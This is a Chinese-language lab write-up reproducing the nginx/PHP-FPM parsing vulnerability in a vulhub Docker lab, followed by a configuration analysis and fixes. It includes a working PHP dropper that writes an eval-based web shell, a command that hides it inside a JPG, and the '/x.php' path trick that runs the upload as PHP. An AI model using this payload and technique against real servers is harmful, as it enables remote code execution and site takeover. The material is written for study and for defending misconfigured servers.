攻击机:win10

靶场:kali 192.168.254.129

由于nginx配置导致出现的解析漏洞,与版本无关。

0x01环境搭建

通过docker+vulhub漏洞靶场搭建

1
2
3
4
5
cd nginx/nginx_parsing_vulnerability  #进入到漏洞库文件夹

docker-compose up -d #生成环境

docker ps #查看容器

image-20230525162504334

image-20230525162518931

至此环境搭建成功

0x02漏洞利用

1.php内容

1
<?php fwrite(fopen('Myshell.php','w'),'<?php @eval($_POST["drblack"]);?>');?>

图片马制作,确保是jpg + php这个顺序,否则图片马会制作失败

1
copy normal.jpg/b + 1.php/a a.jpg

image-20230525200327751

文件上传成功,

image-20230525203222334

上传成功后访问我们上传的文件,使其当作php文件执行

注意路径拼接为,确认文件存在无误

1
/uploadfiles + 文件名/x.php

image-20230525203243731

访问Myshell.php,文件生成成功,用蚁剑连接即可

image-20230525204251085

image-20230525204243812

image-20230525210021044

0x03漏洞成因分析

image-20230525152433689

找到nginx conf配置文件,分析。关于相关nginx配置文件语法不太了解,问了一下V1cuna师傅

image-20230525210021044

server {
    listen 80 default_server;    
    listen [::]:80 default_server;
    root /usr/share/nginx/html;

    index index.html index.php;

    server_name _;

    location / {
            try_files $uri $uri/ =404;
    }

    location ~ \.php$ {
            fastcgi_index index.php;

            include fastcgi_params;

            fastcgi_param  REDIRECT_STATUS    200;
            fastcgi_param  SCRIPT_FILENAME /var/www/html$fastcgi_script_name;
            fastcgi_param  DOCUMENT_ROOT /var/www/html;
            fastcgi_pass php:9000;
    }
}

location代码块语法结构为

1
2
location [ = | ~ | ~* | ^~ ] uri { ... }
其中 “~”,用于表示uri包含正则表达式,并且区分大小写。

结合语法结构分析,location ~\.php$表示匹配到\.php结尾的文件,就执行location代码中的操作

结合上述参数可以分析得出,当输入a.jpg/xxx.php时,会交给fastcgi进行解析,此时若xxx.php不存在时,又会触发另一个php cgi的配置cgi.fix_pathinfo

同时在经过上面的nginx配置后,当设置cgi.fix_pathinfo=1时候,会触发以下逻辑

1
2
3
4
5
6
7
8
9
/*
* if the file doesn't exist, try to extract PATH_INFO out
* of it by stat'ing back through the '/'
* this fixes url's like /info.php/test
*/
if (script_path_translated &&
(script_path_translated_len = strlen(script_path_translated)) > 0 &&
(script_path_translated[script_path_translated_len-1] == '/' ||
....

导致, PHP会认为SCRIPT_FILENAME是a.jpg, 而xxx.php是PATH_INFO, 然后PHP就把a.jpg当作一个PHP文件来解释执行,若此时a.jpg是一个图片木马,则此时可以导致漏洞产生。

参数说明

设置cgi.fix_pathinfo=1后,cgi设置完整的路径信息PATH_TRANSLATED的值为SCRIPT_FILENAME,并且设置PATH_INFO信息;

设为cgi.fix_pathinfo=0则只设置绝对路径PATH_TRANSLATED的值为SCRIPT_FILENAME。在php.ini文件中cgi.fix_pathinfo的默认值是1。

fastcgi_param 设置传递给FastCGI服务器的参数值,可以是文本,变量或组合

security.limit_extensions string

限制 FPM 允许解析的脚本扩展名。 此设置可以预防 web 服务器配置的错误。 应当限制 FPM 仅仅解析 .php 扩展名,阻止恶意用户使用其他扩展名运行 php 代码。 默认值: .php .phar

0x04漏洞防御

1.php.ini配置中默认security.limit_extensions为空,当设置security.limit_extensions=.php之后,可以修复该漏洞

2.将php.ini文件中的cgi.fix_pathinfo的值设置为0

0x05参考链接

PHP: 配置 - Manual

Nginx配置文件详解 - 程序员自由之路 - 博客园 (cnblogs.com)

Nginx + PHP CGI的一个可能的安全漏洞 - 风雪之隅 (laruence.com)